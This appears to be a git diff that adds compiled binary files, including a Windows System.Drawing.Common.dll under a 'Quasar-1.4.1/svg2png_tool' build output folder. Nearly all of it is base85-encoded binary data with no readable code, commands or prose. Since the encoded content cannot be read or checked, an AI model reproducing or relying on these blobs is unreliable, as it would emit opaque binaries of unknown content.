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 uPRZBRrndJfdQzesZhQ>fcAl;ga`T!J*{?GhdU literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/svg2png_tool/out/runtimes/win/lib/netcoreapp3.0/System.Drawing.Common.dll b/Quasar-1.4.1/svg2png_tool/out/runtimes/win/lib/netcoreapp3.0/System.Drawing.Common.dll new file mode 100755 index 0000000000000000000000000000000000000000..27cf13401c1b0870c797a3d25ca651fee79e1c16 GIT binary patch literal 436600 zcmd442YejW)jm9$nVoHFt6lF(a*=E!aoJtTwgkonj3M;ikxerl+u#KW6JlA$kN|<$ zK!8x30yy*#LJK{lkdPjno)DrqJt2gU{-%ll^V~Btdv{fA^M?2P^s{%)edgSA&+X@y zx%aT8*ISNdSuXy+`KDz(g(v?O>)(lg*5h@3+cWjnetzl9v%2f*5seMz&_y2v-46N=JT0qH)3)eMfcopdt#}XokZDoGYuOcK<-hXN zcM7-l+fANz1Zl{9Zzu%rD?RIynRtH2vug49%Wa-@ES}r_*B+{_y~N-?(D2-S(OH*V z1ov};e!Li0=xzSBTh_Af{(=580BYT!qlJIgI{uXZ79+d5`_DSB1V-vgowcm@jN;p; z>`SPrOjrC-H`|I>`~IWGx*n++*QjNE=N}R4j@vEkBE)~ak4^NLW~<#TE0I4%o_22I zHI`M=k##;aRD)c~FYs}v+R3~$-l9yp`F;A~=YmU-Ev|w>9)Pn5L_%PO?WlPSZ>e)| zc9xyZ<1xq1!*d*?jA|dMasIlM%)ogn=le6f(doMxBl>yVK5R5-JO~ zU0MJkiD9R6*m89LY+J`gl>NMte<8%aMx@WAuat=Z0myNjmH!-)!ho!U4_;sk$3Xz)-@n2JG!!+TcXHEwLjp21Mt(ao-gt}{WFji8CAzJ z)zg2l=~!<%9yT36FdepI2xvDQ2bzutO^53mevUL9*P4zeOvkIHV@kvju&?R3#B|(e zI(}d}Moh;}o+0f>(}BjToH`Gfj$fIMMATr*n~pP0$33Rw^QPl}Ovi$lA?*~?ai!^a z-gLZfI$Gm~fJLTbt?78qbo|D2*a<_x!KP!K>G+Q6*ePlFxxjSXWjcOkIvQ&YKgXJm zb*AGE)A5Yy*lIc&>kMgm({ZTjINNk=G96zs9e*<&Q|b-TD@@08rsG$pW5jf18w>$G zrsG)C(Qi67nT{7thuvsM>ogsGrsEpZ@v!OmndxXw8Pbk69T%I9`%Fh|li_Ev={Uu7 ztT!D`nT}tWj{3AAO_`2;Ovfpv<4V)FCKAqF0%YdrZe`rlV<+;b#xiai;0G z*>t>UI$k#&%~?a*p{8Sv>3EOnc-VAoF&#}gL)vW9ajfZBYdRh;JG9+^j+eG^s^4pd zkzi>fq07k@YP|Kj=P%nb=)m3lG<#4#X_IVZM=_ePv|QSouxV23n(!>vB#Swn^~HvI2feH~7h;8O4@DhY2eYy61pT>fK%4h%kKiC5xA;gQ5BI zgx7ZF$z8F@>&a9|!!;{5MI7E#{nXxR`%Io4vF^naR%oiBMjZn0cpQp{UHYzVc>^!t zUBXk>flfx%2jD7wrpEG`>=}%u{;^Bnz}vLj~Hh~CV)ii94i$&S?IbNNL&LGAPWl!W^xh$y?)G*~*4>Ndcj89}uP^Z-g# zB0tyevNN;~b-=!ElkvnbDrFzpRg<@mRJVXV;T041k)$QSaTbBfb#TiuBlxjuCl9^zFXbsWTHk1;*WmG_Q* z#d4RP?O40uiD5-b-en~?bv!&Ln`%a~HcDsd1h^8mdImvwtl`ul|EKK=UPsN8s`?ns z(?O}kmP{87B8e2W24MT98k}mV%gMjar79PG8|SjUD8o27^Pfq zu|nXq3W3?uGVoN2eT-tM7fPdrQO8(%iR>kFYHgu(0y#R;D8E4vI#-NH3vZYS3AW(Kvv(`~O*M%@-CZQJXp)2(y7+%89pwK|MwmQzQGpd3#__$i%F zY{nDz$Ru`np3m(0%$Vu<9C{DV+3<;&{)Em>+sUfub!?bE7(`pJPEx|;s522xV~w_6 z5^gc+pv0i<@sfo&$u|?amtO|NQ~%I?la^{b8TE@$`VT05f$g~MiS|xQ(L&Je7-l() zup(W_{$pXd4V;A_*GPzt8;O)2hxssYHb4YuGwi5hfJihQ0k*52?i9pjt)(zNqG_9gccxIo`e!3+$(; zm77MB$+CKEwF0lyS1Ax~mKzuoIxi&!QN8b}v0Ojb9JP|{p3a2k-VR$a_1fRO)UsyP 